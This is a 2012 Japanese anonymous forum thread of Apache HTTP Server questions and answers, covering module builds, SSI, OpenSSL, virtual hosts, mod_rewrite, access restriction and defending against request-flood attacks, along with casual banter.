647DNS未登録さん:2012/04/15(日) 18:58:56.49 ID:???
>>646
馬鹿に手取り足取り教える場所じゃないんだし、そのレベルならお帰りくださいとしか。
サーバソフトの運用すら出来ない奴に教えても時間の無駄だろ。
648DNS未登録さん:2012/04/15(日) 21:15:49.34 ID:???
無駄じゃなかったじゃねえかwwwwwwやりたいことができたんだよwwwwwwwwwwwww
帰らなくてよかったwwwwwww
649DNS未登録さん:2012/04/15(日) 21:55:19.98 ID:???
ksだな
650DNS未登録さん:2012/04/15(日) 22:14:26.79 ID:???
>>646
そんなもんかねえ
この板にはLRないからあんまり目立たないけど
改めてくだ質のテンプレってよくできてるなと思ったわ
651DNS未登録さん:2012/04/16(月) 11:32:58.91 ID:???
>>647-648とか、全然話が噛み合ってないのに当の本人だけ何とも思ってない感じが怖いな
こういう人が一定数いることは知ってるけど、うまくコミュニケーション取るにはどうしたらいいんだろうね
652DNS未登録さん:2012/04/16(月) 18:12:21.89 ID:???
無理してコミュニケーションを取る必要はない
653DNS未登録さん:2012/04/16(月) 20:58:28.69 ID:???
>>651
気になるなら指摘すれば?
654DNS未登録さん:2012/04/16(月) 23:00:55.37 ID:???
・(求められても)結論を共有しようとしない。全部「過程」として提示する
・常識や理屈を言ってもだめ。客観的なデータもそれだけではだめ。感情に直結するよう価値付けする
・自己=善、他者=悪のような明確な「図式」
・言下に発言しない。要求されるまで沈黙するのはむしろよい
・代われと言われたらすぐ代わる
・興味の範囲は狭い。反応が薄ければ例を変える
・「こう言われてる」のような第三者的な見方はだめ。「あなたは」「Aさんを」のようにアクターを明確に
・20分満足説
・かも知れない論はスルー。単純に問いかけ直す
655DNS未登録さん:2012/04/18(水) 18:47:03.76 ID:???
どこの処理班だよ
656DNS未登録さん:2012/04/19(木) 07:47:11.00 ID:???
Apache HTTP Server 2.4.2
657DNS未登録さん:2012/04/24(火) 21:00:49.65 ID:???
mod_uploaderが過疎ってるので。

Ubuntu 11.10 32bit環境で

make -f GNUmakefile.apache install すると

Warning! dlname not found in /usr/lib/apache2/modules/mod_uploader.so.
Assuming installing a .so rather than a libtool archive.
chmod 644 /usr/lib/apache2/modules/mod_uploader.so

とエラーが。


インストールしたものは
 g++ apache2-dev apache2-prefork-dev libtool auto-apt

になります。
658DNS未登録さん:2012/04/25(水) 00:54:45.15 ID:X0D/Z2g1
昔WinのXamppで使っていた <!--#include virtual="/***.txt" --> を
Ubuntuのlamppのバーチャルホストに特に何もせず移したのですが
何も表示されなくなりました。#include virtual がドキュメントルートを
認識していないと言う事でしょうか?対策はありますか?
659DNS未登録さん:2012/04/25(水) 01:29:30.86 ID:???
httpd.conf の DocumentRoot にある Options に、Includes が設定されてないだけでは?
660DNS未登録さん:2012/04/25(水) 15:31:35.20 ID:???
>>657
apacheのバージョンは?
661DNS未登録さん:2012/04/25(水) 17:09:26.07 ID:???
>>660
2.2.20になります。
662DNS未登録さん:2012/04/25(水) 20:41:23.54 ID:???
俺の回答はスルーかよw
663DNS未登録さん:2012/04/25(水) 21:29:43.75 ID:???
そうDA!オマエの回答はスルーDA!
664DNS未登録さん:2012/04/25(水) 22:31:19.61 ID:???
                 ┌─┐
                 |も.|
                 |う |
                 │来│
                 │ね│
                 │え .|
                 │よ .|
      バカ    ゴルァ  │ !!.│
                 └─┤    プンプン
    ヽ(`Д´)ノ ヽ(`Д´)ノ  (`Д´)ノ    ( `Д)
    | ̄ ̄ ̄|─| ̄ ̄ ̄|─| ̄ ̄ ̄|─□( ヽ┐U
〜 〜  ̄◎ ̄  . ̄◎ ̄   ̄◎ ̄   ◎−>┘◎
665DNS未登録さん:2012/04/25(水) 23:32:06.99 ID:???
サーセンwwwww
また来てしまいましたwww
666DNS未登録さん:2012/04/27(金) 05:06:11.83 ID:???
apacheで自宅サーバを運営しているのですが、Googleanalyticのリアルタイムトラフィックを確認していると
下記のアドレスから私のサイトにアクセスがありました。
本来refererが表示される箇所だと思うのですが、refererの場所がローカルホスト(該当のIPは存在せず)
なので気になったのですが、これは参照ユーザーがrefererを偽装していると考えてよいでしょうか?

http://192.168.1.3:8080/www/apps/KiesAir/bookmarksPortlet.gz.htm
667DNS未登録さん:2012/04/27(金) 12:47:59.62 ID:???
>>666
LAN内に存在するサイトにリンクが貼られているとかいう場合もある。
668DNS未登録さん:2012/04/28(土) 17:34:45.65 ID:???
例えばだが、自分のPCにrep2なんかを入れて使ってる人がアクセスしてくると
http://127.0.0.1/rep2/なんたらかんたら...
みたいなリファラになったりする
必ずしも偽装しているとは限らない

というか偽装でプライベートアドレスを書く人っていないんじゃないかな…
偽装するってことはアクセス元を知らせたくないってことだし、
適当にgoogle.comにするとか、いっそリファラを送らないってほうに行くと思う
669DNS未登録さん:2012/04/28(土) 18:13:07.98 ID:???
670DNS未登録さん:2012/04/30(月) 16:54:14.76 ID:lAnWKKs+
Win32-x86版v2.2.22に同梱の"OpenSSL 0.9.8t"で
"bin"にパスを通した上で"conf"フォルダ下で

>openssl genrsa -des3 1024 -out server.key

を実行しても、なせか鍵ファイル"server.key"が生成されません。
(標準出力に鍵が表示されて終了してしまいます)
"-out"オプションにファイルのフルパスを指定してもダメでした。

>openssl genrsa -des3 1024 > server.key

で実行すると、ちゃんと生成されます。
("-text"オプションで中身も確認できます)
"-out"オプションの使い方がマズいんでしょうか?
671DNS未登録さん:2012/05/01(火) 10:55:18.40 ID:???
>openssl genrsa -out server.key -des3 1024

でやってみそ
672DNS未登録さん:2012/05/01(火) 11:47:10.64 ID:???
つーか数字を最後に持ってくればいいだけだな
673DNS未登録さん:2012/05/01(火) 15:39:12.62 ID:???
コマンドラインのオプション指定は書式に従えって事で
674DNS未登録さん:2012/05/05(土) 22:01:44.35 ID:???
皆アパッチ積んだ後、どうやってコンテンツ作るの?
CMSとか、何載せる?
675DNS未登録さん:2012/05/05(土) 23:36:27.78 ID:???
perl でごりごり書いてる
自前 CMS ライクなの使ってる
676DNS未登録さん:2012/05/06(日) 00:54:04.23 ID:???
>>675
やっぱりゴリゴリな人が多いのかな。
677DNS未登録さん:2012/05/06(日) 13:30:15.79 ID:???
いつもHTML手書きな俺みたいなのもいる
678DNS未登録さん:2012/05/06(日) 21:11:32.82 ID:???
Apache/2.2.22 (FreeBSD8.3)で鯖公開してるけど、ゴールデンウィーク中ずっと
Apache Killer風なHEADアクセス攻撃食らった。
結局、HEADアクセスを禁止することで回避したけど、よそは平和みたいね・・・。
679DNS未登録さん:2012/05/06(日) 21:14:51.94 ID:???
>>678
logtailしてipfwに喰わせればウマー
680DNS未登録さん:2012/05/06(日) 21:23:49.50 ID:???
でもログ見てもHEADアクセスって、↓みたいのが数個あるだけなんだよねぇ〜。

"Java/1.6.0",none,"HEAD /manager/status HTTP/1.1"
681DNS未登録さん:2012/05/07(月) 03:02:45.11 ID:???
攻撃って言うか単に前準備だけどな
682DNS未登録さん:2012/05/17(木) 13:52:38.55 ID:???
アクセスログでキャッシュでアクセスしてきたかって
どういうフレーズがでる?

解析ツール入れたらchached requestって出てきて
683DNS未登録さん:2012/05/17(木) 13:58:26.04 ID:???
304のことじゃね?
684DNS未登録さん:2012/05/19(土) 22:59:31.68 ID:???
ローカルの開発環境(Windows)で外部に公開してないのに
静的ファイルへのアクセスも遅いのは何が原因でしょうか?
hostsファイルも関係ありますか?
apache2.4です
685DNS未登録さん:2012/05/20(日) 15:04:26.08 ID:???
アクセスが遅いってどんな場面で何秒かかるの?
異様に遅いなら名前解決だろうけど
686DNS未登録さん:2012/05/20(日) 15:44:38.70 ID:???
空のindex.htmlを開くのに11秒もかかるんですよ
でも開いた後に更新するとすぐに更新されます
最初のアクセスだけが重いんです
687DNS未登録さん:2012/05/20(日) 15:47:01.50 ID:???
それほどアクセス数の多くないサーバーなんですが、アタックを受けてるのか時々すごく重くなるときがあって
server-statusを見てみると"R" Reading Requestでスロットが埋め尽くされてる状態です。
Requestの部分は「..Reading..」 になっていてどのファイルにしているかもわからないし、
Clientの部分も「?」になっていてアクセス元のIPアドレスもわかりません。

アタックは30分から1時間程度続きますが、
このアタックを受けている間のloadaverageは通常時よりもとても低くなります。
apacheがリクエストを完全に受け取る前?で問題があるような感じです。

mod_antilorisやmod_reqtimeoutを試してみましたが効果がありませんでした。
何かよいアイディアがありましたらご教示願えませんでしょうか
688DNS未登録さん:2012/05/20(日) 15:49:59.19 ID:???
fqdn無し、ip直での結果は?
689DNS未登録さん:2012/05/20(日) 15:54:10.54 ID:???
>>687
とりあえず、mod_evasive、mod_dosdetector

690DNS未登録さん:2012/05/22(火) 07:59:14.98 ID:???
>>684
名前解決かデフォルトゲートウェイの例外
では?
691DNS未登録さん:2012/05/23(水) 02:34:46.20 ID:???
>>689

mod_evasiveを入れて、さらにmax_clientsを増やしてみたところいい感じにさばいてくれるようになりました。
max_clientsを極端に少なくしてみたところ、同じような現象になったのでアクセス増加したときに単純にslotが足りてなかっただけかもしれません。
大変助かりました。ありがとうございました。
692DNS未登録さん:2012/05/24(木) 21:19:35.64 ID:???
apacheのrewrite_baseがApache内部でどう解釈されているか
確認するにはどうすれば良いでしょうか?

※現在、どうやっても500エラーが発生しており原因追及の為に
どのスクリプトパスまで命令が通っているかを確認しています。


例えば

.htaccess の中に@の記述があった場合、内部ではAのパスで解釈されている等。

@ rewrite_base /sub_domain
A /hoge/first_domain/public_html/sub_domain
693DNS未登録さん:2012/05/24(木) 21:52:57.07 ID:???
RewriteLogLevel 9
694DNS未登録さん:2012/05/25(金) 03:52:41.19 ID:???
>>693
thank you .


ちなみにみなさんは、Webmin とかって入れてますか?
695DNS未登録さん:2012/05/25(金) 03:54:24.18 ID:???

あと、 .htaccess の rewirte_rule を使って

http://hogehoge.com/

としてアクセスがあった場合、mod_rewriteにて

http://hogehoge.com/test.php

にアクセスさせるけれども
ブラウザ上のURLは、
http://hogehoge.com/test.aspx
み見せかけたいのですが、こんな事って出来ますか?
※外から見た場合のWEB言語を偽装したいです。

696DNS未登録さん:2012/05/25(金) 04:13:04.30 ID:???
URI偽造したいならフレーム使えば良いんじゃね?
この手の手法はマルウェア仕込むのによく使われるけどな。
697DNS未登録さん:2012/05/25(金) 07:10:51.12 ID:???
突然で申し訳ないが
もしかしてphp-cgiってsuEXEC有効にしてないとPHPファイルの所有ユーザー権限で実行されない?
698DNS未登録さん:2012/05/25(金) 09:29:14.75 ID:???
バーチャルネームで設定したtest.localhost無いにECCUBEなどのSSLを利用するオープンソースをインストールしてhttp://test.localhost/(httpsじゃなくてhttp)にアクセスするとApacheが落ちてしまいます
そのときのエラーログに
[Fri May 25 09:09:04.494299 2012] [ssl:warn] [pid 1436:tid 840] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
[Fri May 25 09:09:07.352299 2012] [ssl:warn] [pid 2720:tid 772] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
[Fri May 25 09:09:09.570299 2012] [ssl:warn] [pid 2720:tid 772] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
[Fri May 25 09:09:19.950899 2012] [ssl:warn] [pid 1436:tid 840] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
[Fri May 25 09:09:22.347899 2012] [ssl:warn] [pid 5656:tid 772] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
[Fri May 25 09:09:24.192299 2012] [ssl:warn] [pid 5656:tid 772] AH01909: RSA certificate configured for test.localhost:443 does NOT include an ID which matches the server name
って書いてあったんですが、これはどのように修正できますか?
699DNS未登録さん:2012/05/25(金) 14:00:24.79 ID:???
>>694 >Webmin とかって入れてますか?
良くメンテされたものでも、バージョンの整合性で良くトラブル起こしてる
あんなものにたよるな。

>>695
出来るが、そんな設定でトラブル起こしても質問するなよ。

>>697
perlだろうが、phpだろうが、ExecCGI上の動作でしかない。

>>698
質問レベルに達してない。
せめて、SSL SNIが理解できてるレベルに達さないと、
自分が何を言って、何を要求し、何が規格上出来ないのか判断できないだろう。

ちなみに、単純な解答は無いし、手順を示しても、踏み台作るだけだろうから
勉強しておいで。

700DNS未登録さん:2012/05/25(金) 16:29:10.63 ID:???
>>696
できれば、Apacheでやりたいです。
701DNS未登録さん:2012/05/25(金) 16:35:11.64 ID:???
>700
ムリ、バカ正直なWebブラウザを恨め
702DNS未登録さん:2012/05/25(金) 19:04:57.61 ID:???
>>701
マジで無理なんでしょうか?

要するにApache内部では test.php をキックし
クライアントに返す場合には、
URLを test.aspx として返すだけで簡単な気がするのですが。


Apacheで私のやりたいと思った事が出来る方がいたら教えて下さい。
703DNS未登録さん:2012/05/25(金) 23:21:12.15 ID:???
>>702
なんでそんなことをしたいの?

mod_rewriteでリダイレクトさせずに別ページを返す方法があったような。
面倒なので調べてないけど。
704DNS未登録さん:2012/05/26(土) 00:29:24.65 ID:???
>>695
普通にできるからrewriteで
拡張子偽装
705DNS未登録さん:2012/05/26(土) 00:30:06.38 ID:???
というか書き換えるためにあるからrewrite
706DNS未登録さん:2012/05/29(火) 09:53:51.39 ID:???
これからはじめてWebサーバー建てます

WindowsServer2003+Apache+PHP+MySQL

何か気をつけることありますか?
707DNS未登録さん:2012/05/29(火) 11:16:07.90 ID:???
OS を Linux に変更。
あとは学習意欲だけ。
708DNS未登録さん:2012/05/29(火) 12:10:05.28 ID:???
WindowsServwer2003からFreeBSDに変更だな
709DNS未登録さん:2012/05/29(火) 15:00:41.59 ID:RC+vRYoM
別にWindowsでもいいじゃない
710DNS未登録さん:2012/05/29(火) 15:02:07.23 ID:???
>何か気をつけることありますか?
と書かれてるから対策を書いてるんじゃんw
711DNS未登録さん:2012/05/29(火) 23:12:34.04 ID:???
>>706
外部(インターネット)から接続されるところに置かない。
これ最強。
712DNS未登録さん:2012/05/30(水) 00:23:27.62 ID:???
そもそも OS なんて入れない

最強すぎる
713DNS未登録さん:2012/05/30(水) 05:51:20.73 ID:???
>>706
ちゃんと設定したゲーウェイルーターを入れることだね
直つなぎはしないこと

Linuxだから安全とかwindowsだから危険とかもうそんな時代じゃないんだ
むしろPHPとかのXSSとかに気を使ったほうが良いかも
714DNS未登録さん:2012/05/30(水) 11:50:24.04 ID:???
あとはFWとAVの導入だな
Windowsは侵入されたら終わりだから入り口固めないとな
715DNS未登録さん:2012/05/31(木) 15:34:34.27 ID:sHSVBbuy
Apache2.4をwindowsにインストールしようと↓からzipを落としてやってるんですが
http://www.apachelounge.com/download/
ざっと設定を編集して開始しようとしてみると、以下のようなメッセージが出て起動しません。

(OS 10048)通常、各ソケットアドレスに対してプロトコル、ネットワークアドレス、
またはポートのどれか1つのみを使用できます
AH00072: make_sock: could not bind to address 0.0.0.0:80
AH00451: no listening sockets available, shutting down
AH00015: Unable to open logs

前3行のメッセージが何か設定が足りてないことを言ってると思うんですが、
よくわからず先に進めなくなってしまいました。
どこを確認すればいいんでしょうか
716DNS未登録さん:2012/05/31(木) 16:13:03.86 ID:???
google
717DNS未登録さん:2012/05/31(木) 16:19:44.05 ID:???
>>715
http://www.itmedia.co.jp/help/tips/windows/w0592.html
で8080を塞いでいるプログラムを判別すれ。
718DNS未登録さん:2012/05/31(木) 16:20:16.17 ID:???
>>717
おっと、8080じゃなくて80だった。
719DNS未登録さん:2012/05/31(木) 17:13:59.02 ID:???
どうせskypeだろう
720DNS未登録さん:2012/05/31(木) 17:59:15.28 ID:sHSVBbuy
>>717
ありがとうございます。たいへん参考になりましたー。
別途動作しているIISが使ってるみたいでした。
ポートを変えてみたら開始できたので、原因は特定できたと思います。

長らく放置されてた古パソの活用を考えてたんですが
過去にセットした諸々がいろいろ残ってるみたいです。
721DNS未登録さん:2012/05/31(木) 18:31:50.22 ID:???
いやいや、何が残ってるのか分かってないなら一旦OS入れ直せよ。
変なところでセキュリティホール作ってたらどうすんだよ。
722DNS未登録さん:2012/05/31(木) 20:51:09.54 ID:60jlCZpj
現在、荒らし対策としてhtaccessを利用してのアクセス規制を考えているんですが
そこで質問があります。

仮に、下記のようなホスト名があったとして○の部分だけが可変で
×や△は固定の数値の場合、できるだけ範囲を絞りたいので、○の部分だけを
アスタリスクのような任意の文字として指定するにはどうしたらいいんでしょうか?

××-○○○○○○○.△△△.ntt.co.jp
723DNS未登録さん:2012/05/31(木) 21:04:10.13 ID:???
××-[^\.]+\.△△△\.ntt\.co\.jp
724DNS未登録さん:2012/05/31(木) 21:39:44.74 ID:???
ありがとうございます!
早速参考にして試してみます。
725DNS未登録さん:2012/06/01(金) 11:27:21.29 ID:???
全てを理解しろとは言わんが、正規表現は覚えておくべき
726DNS未登録さん:2012/06/01(金) 11:45:43.50 ID:???
>>725
質問させて下さい。
サーバ側はNICを2つ接続し、それぞれ別のIPアドレスを振っています。
元々一つのNIC(オンボード)で、Apacheを使ってWebサイトを運用していました。
今回、そのサイトとは別のURLでサイトを運用したいと思い、
新しいNIC(USBタイプ)を接続し、IPアドレスを割り当てた上でApacheの仮想サーバを設定しましたが、
USB側のIPを叩いても、オンボードのページが表示される状態です。
Apache側で何か必要な操作はあるでしょうか?
ググってみたのですが、なかなかわかりやすい説明に辿りつけなかったのでおたずねします。
727726:2012/06/01(金) 11:46:17.11 ID:???
>>725さん、すみません…アンカ誤爆しました…
728DNS未登録さん:2012/06/01(金) 11:50:10.98 ID:???
ヒント IP ベース
729726:2012/06/01(金) 11:55:33.33 ID:???
>>728
ありがとうございます。
Webminで設定を行なっているのですが、やはり直接該当のデータをいじったほうが確実でしょうか?
730DNS未登録さん:2012/06/01(金) 12:55:08.23 ID:???
>>729
Webminで設定出来るかは知らないけれども
confを直接変更する方法では、可能だから試してみたらどうよ?
731726:2012/06/01(金) 14:23:13.83 ID:???
>>730
直接編集を試してみたら、Apacheが起動しなくなりました…orz
たぶんどこか間違えたんだと思います。
Apacheの再インストールもままならない状態で四苦八苦です…orz
732DNS未登録さん:2012/06/01(金) 15:31:00.17 ID:???
>>731
ままならず 四苦八苦

wwwwwwwwwwwwwwwwwwwwwwwwwwwww
まるで喜劇を見ているかのようだ
733DNS未登録さん:2012/06/01(金) 16:41:12.26 ID:???
>>731
これで編集する前に、定義ファイルのバックアップを取る事が重要という事が理解できたね!
おめでとう。
734726:2012/06/01(金) 16:56:47.42 ID:???
>>733
まったくです…ようやく元の環境に戻りました。以後気をつけます…
735DNS未登録さん:2012/06/02(土) 11:35:47.33 ID:???
まあでもそうやって経験を積んでステップアップしていくものだ
この際だからwebminに頼らずとも設定できるようにきちんと学んでおいた方がいい
管理を楽にするのには有用だが、頼りっきりだと躓いたときに原因を特定できず難儀する
736DNS未登録さん:2012/06/02(土) 15:17:19.04 ID:???
Apache は プロセスやスレッドとかの数値以外の設定は特に難しいところ無いよ
737DNS未登録さん:2012/06/02(土) 17:35:40.08 ID:???
編集前にcpしてバックアップ、編集後にバックアップとdiffを取って
自分が意図した内容かを確認する癖をつけなさい
738DNS未登録さん:2012/06/03(日) 00:32:48.01 ID:???
>>737は無知の知ったかなので無視でおk
739726:2012/06/03(日) 11:05:39.55 ID:???
皆さんありがとうございます。
「鯖立てたぞ!700GB近い容量目一杯使えるぞ俺TUEEEEEEEEEEE!!!」
状態だったのですが、まだ勉強が必要なようです…。
740DNS未登録さん:2012/06/03(日) 11:29:03.10 ID:???
>>738
別に間違った事言っていないと思うけど、どうして?
741726:2012/06/03(日) 12:08:56.05 ID:???
おまいらがWeb鯖立てるのに使ってるオススメルータってある?
MZK-WG300NX使ってるけど、ヘアピンは無いし複数IPの同一ポートサーバ管理できないしでもう…
742DNS未登録さん:2012/06/03(日) 12:10:50.32 ID:???
>>741
やたらドンピシャなレス番だったみたいだが、>>726とは別人ですはい
743DNS未登録さん:2012/06/03(日) 14:46:23.21 ID:???
YAMAHAでどう?
744DNS未登録さん:2012/06/03(日) 16:59:48.50 ID:???
>>741
IX2015
中古でok
745DNS未登録さん:2012/06/03(日) 22:36:56.26 ID:???
未だに BA8000PRO だけど安定してると思う
746DNS未登録さん:2012/06/03(日) 23:21:35.11 ID:???
そんなにアクセス数すごいWeb鯖でも公開してるの?

そこら辺の無線LANルーターで十分だと思うんだけど
747741:2012/06/04(月) 07:02:46.81 ID:???
>>743
どうひっくり返っても買えません  (:D ̄|_

ぶっちゃけ中古でも良いっちゃ良いんだけど、有線LAN側でGbps欲しくて今のルータにしたのよ。
そしたらヘアピン不可、安定性は悪い、気づいたら無線LANが切れてるとかもうね…
748DNS未登録さん:2012/06/04(月) 17:34:57.79 ID:???
>>747
私もほぼ同じ状況
NEC,Buffalo,IO-DATA一通り試したけど、どれもいまいち
スペック通りなら、IO-DATAのが全部入りでよかったんだが
いろいろ使えない。
やっぱり無線はブリッジにして、WANポートのギガはあきらめて
>>744かRTX1100あたりの中古入れるのが無難な感じだな。
749DNS未登録さん:2012/06/04(月) 21:38:03.39 ID:???
ヘアピンNATってそんなに重要?
プライベートIPで済ませてるから他人の運用方法気になるわ
750sage:2012/06/05(火) 08:24:24.24 ID:???
>>749
中向けと外向けとDNS定義切り替えてる。だから、ヘアピンNATいらない。
751DNS未登録さん:2012/06/05(火) 14:43:00.02 ID:???
DNSで対応も一つの手だけど、状況によっていろいろ不便なこともあるんだよね
VPNで外から入ってる時とかね
752DNS未登録さん:2012/06/05(火) 14:43:48.41 ID:???
あ、でもこのスレApacheだったな
httpdだけならそう困らないな
753DNS未登録さん:2012/08/02(木) 18:30:12.68 ID:???
ここで聞くのが適切かどうかわからないのですが。

RHEL6の64bitバージョン。
Apache2.2についてくるmod_sslが使うOpenSSLのバージョンを変更したい。
現在はopenssl-1.0.0になってるんだけど、諸事情でもっと古いOpenSSLを使いたい。

openssl098eなるものがCompatibility Versionとしてyumにあったのでインスコした。1.0.0と同居できてるっぽい。
で、ldd mod_sslするとlibssl.so.10とlibcrypto.so.10にリンクしてる。
実際にはどちらもただのシンボリックリンクなので、それぞれをlibssl.so.0.9.8eとlibcrypto.so.0.9.8eへの
シンボリックリンクとして作りなおした。

そうするとApache起動せず。
Cannot load /etc/httpd/modules/mod_ssl.so into server: /etc/httpd/modules/mod_ssl.so: undefined symbol: SSL_get_servername
だそうで。

またOpenSSLのクライアントも同じシンボリックリンクと動的リンクしてるので、こちらも起動しなくなる。

どうしたらいいんでしょうか。そもそも無理なことをしようとしてる?
でもそうだとしたら、Compatibility Versionはなんのためにあるんでしょ?
長文スマソ&どうかお助けヘルプお願い。
754DNS未登録さん:2012/08/02(木) 18:55:16.71 ID:???
>そもそも無理なことをしようとしてる

ビルドし直さないと駄目。
755DNS未登録さん:2012/08/02(木) 19:58:22.63 ID:HsxyXlFw
あの、すいませんが、社内でWebサーバー構築するのに、ApacheHTTPServerってのを使えって言われました。
そんで、このスレ最初から全部目を通しましたが、用語などさっぱり意味がわかりませんでした。
このままだとヤバいんで、勉強しようと思うんですが、まず何から始めればいいでしょうか?

756DNS未登録さん:2012/08/02(木) 22:08:46.48 ID:???
>>755
OSによって違う
757DNS未登録さん:2012/08/02(木) 22:41:22.20 ID:???
自分で勉強する方法も見つけられないんじゃなぁ・・・
758DNS未登録さん:2012/08/03(金) 00:43:00.80 ID:???
Apacheの公式か構築マニュアルの本を読み漁るか
どっちにしろ仕事がらみなら他所へ行ってくれ
759DNS未登録さん:2012/08/03(金) 09:32:57.31 ID:???
>>754
ありがとう。やはりそうなりますか。

動的リンクとか共有オブジェクトってなんの話?
と思っちゃうんですよね。
ちなみに現状ApacheのコンパイルオプションにOpenSSLのバージョン指定はないんだけど、
この状態でもしOpenSSLのバージョンが上がったら
Apacheの再ビルドが必要になるのかな?
ならないと思ってるんだけど。
760DNS未登録さん:2012/08/04(土) 10:05:50.21 ID:???
>>759
>動的リンクとか共有オブジェクトってなんの話?
だいじょうぶか?
761DNS未登録さん:2012/08/04(土) 11:46:01.17 ID:???
なんとかが多すぎる。何とかならないか?
762DNS未登録さん:2012/08/04(土) 12:29:36.72 ID:???
>>760
大丈夫じゃないからなんの話?って思うわけだけど。
再コンパイルが必要なら「動的」リンクじゃねーだろって思うのは
そんなにおかしいかね?
763DNS未登録さん:2012/08/04(土) 12:52:53.48 ID:1bPeR2CA
役にたたねえ奴らばぁじゃのぉ
764DNS未登録さん:2012/08/04(土) 13:26:06.04 ID:???
>>762
ほんじゃリコンパイル以外で整合性取ればいいんじゃね?
手間と工数がどこまで膨れ上がるかは知らんけど。
つーか、openssl098eはOpenSSL Ver1.0.0とどれくらいの互換性があるんだ?
上位/下位互換といっても限度があるだろ
765DNS未登録さん:2012/08/04(土) 14:31:09.23 ID:???
そーすっとCompatibility Versionってなんの話?
ってことになるわなこれが。

まあ再コンパイルくらいやるけどね。
喜んで、とは言わんが。
766DNS未登録さん:2012/08/06(月) 00:56:12.61 ID:???
すみません、質問させてください。

http://(〜)/      -> index.html
http://(〜)/login/   -> login-form.cgi
http://(〜)/regists/ -> regist-form.cgi

のように、各ディレクトリ毎に別々のファイル名でインデックス・ファイルを指定したいのですが。

こういう時、

DirectoryIndex index.html login-form.cgi regist-form.cgi
のように取りうるファイル名を全部まとめて

/var/www/html/index.html
/var/www/html/login/login.cgi
/var/www/html/regist-form.cgi

とするのは一般的でしょうか?
それとも複数のDirectoryIndexを書く方法が別にあるのでしょうか?
767DNS未登録さん:2012/08/06(月) 01:00:53.92 ID:???
ディレクトリごとに指定すりゃいいじゃん
768DNS未登録さん:2012/08/06(月) 01:07:06.99 ID:???
レスありがとうございます。

ええっと、それはDirectoryIndexを<Directory "〜">〜</Directory>の中に入れられるということでしょうか?
ググッたページにそういう書き方をしているサンプルが無く、それが出来ると書いてる文章も見当たらなかったんです。
769DNS未登録さん:2012/08/06(月) 01:17:02.37 ID:???
なぜドキュメントを見ないのか、翻訳までされてるのに
770DNS未登録さん:2012/08/06(月) 01:20:19.09 ID:???
検索してない証拠だな
771DNS未登録さん:2012/08/06(月) 01:31:53.75 ID:???
コンテキストのところのディレクトリってのがそれですか?
注のとこのは似てるようで何か違う気がするし…
772DNS未登録さん:2012/08/06(月) 07:06:54.86 ID:???
>>762
OSなに使うか書いてないけど、知識がないだろう
773DNS未登録さん:2012/08/06(月) 07:45:16.06 ID:???
774DNS未登録さん:2012/08/08(水) 21:23:20.59 ID:???
>>773
じゃ、馬鹿
775DNS未登録さん:2012/08/09(木) 17:25:14.41 ID:???
なんだこの捨て台詞w
ひでえwww
776DNS未登録さん:2012/08/18(土) 01:30:30.94 ID:???
このスレ息してる?
777DNS未登録さん:2012/08/19(日) 12:36:10.70 ID:???
すー、はー
778DNS未登録さん:2012/08/19(日) 18:45:59.47 ID:???
いやだ〜。私の体臭、嗅がないでよ!
779DNS未登録さん:2012/08/20(月) 07:43:20.50 ID:???
>>778
マツコデラックスの声で再生された。
780DNS未登録さん:2012/08/22(水) 22:33:01.75 ID:WrjrYpZu
こちらにしても良い質問かどうか迷ったのですがわからなかったので質問させてください。

apacheのabで負荷をかけているのですがユーザーエージェントとリファラーもつけたいと考えています。
いまは

ab -n 10 -c 10 -H "User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; ja-jp) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7" http://example.com/

としています。
ユーザーエージェントはこれでついたのですが、これに加えてリファラーがつけられません。
-Hに付加すればいいとは思うのですが続けて書いてもダメでした。
複数の条件を付け加える書式があれば教えてください。
781DNS未登録さん:2012/08/22(水) 23:12:59.03 ID:???
-H を複数回記述するのじゃだめだっけ?
782DNS未登録さん:2012/08/26(日) 21:24:23.86 ID:5dhayAc8
apache2.4.2を使ってるんですけど
mod_dumpioが動きません2.2.xでは動いたのですが、なぜでしょう?
783DNS未登録さん:2012/08/27(月) 00:33:03.48 ID:???
そういうものです
だからバージョンアップするのが嫌いな人もいます
784DNS未登録さん:2012/08/27(月) 01:11:21.12 ID:???
apache は 2 桁目以下が変わると、後方互換は無いものと思った方が良い
785DNS未登録さん:2012/09/01(土) 17:13:18.76 ID:???
HTTPServerのconfファイルで
Alias / /www
などとしているのですが
/wwwではダメで/var/www/html以下のフォルダでなければForbiddenとなってしまいます。
なぜでしょうか?

ちなみに
chmod 777 /www
chown apache. /www
は試しました。osはcentos5です
786DNS未登録さん:2012/09/01(土) 20:45:15.93 ID:???
設定が悪いんだろ
お前のconfファイルの内容なぞ知らんわ
787DNS未登録さん:2012/09/02(日) 03:46:51.45 ID:???
どうせ
<Directory />
Require all denied
</Directory>
なことになってて<Directory /www>が無いというオチ。
788DNS未登録さん:2012/09/02(日) 13:56:54.80 ID:???
777とかやる前にエラーログ見ろよ・・・
789DNS未登録さん:2012/09/07(金) 13:23:46.41 ID:???
.htaccessの設定なのですが、

ErrorDocument 404 /_err/404.html
Order Deny,Allow
Allow from 192.168.
deny from all
ErrorDocument 403 /_err/403.html

として、一時的に外部のアクセスを遮断する時に403.htmlを表示したいのですが、上手くいきません。
Forbiddenは返るのですが、指定した403.htmlを見に行っていません。
ファイルが無い時の404.htmlはちゃんと表示されるのですが、どうすれば403を表示できるのでしょうか?
790DNS未登録さん:2012/09/07(金) 13:54:45.24 ID:???
403.htmlが403w
/_err/.htaccessでRequire all grantedかOrder deny,allowかAllow from all。
791DNS未登録さん:2012/09/07(金) 14:36:22.50 ID:???
>>790
出来ました、ありがとうございます!
792DNS未登録さん:2012/09/11(火) 16:29:45.88 ID:???
DoNotTrackがIE10で標準で有効になることはいいじゃんかよw
勝手に無効にするなよwww
793DNS未登録さん:2012/09/15(土) 19:49:34.00 ID:???
htaccessで

RewriteEngine On
RewriteRule ^([a-z]+?)/$ aaa.php?genre=$1 [L]
RewriteRule ^bbb/$ bbb.php [L]

って書いたんですが、

http://example.com/abc/
とか
http://example.com/def/
でアクセスするとちゃんとaaa.phpにリダイレクトされて思うように表示されるのですが、

http://example.com/bbb/
って書くと
Not Found
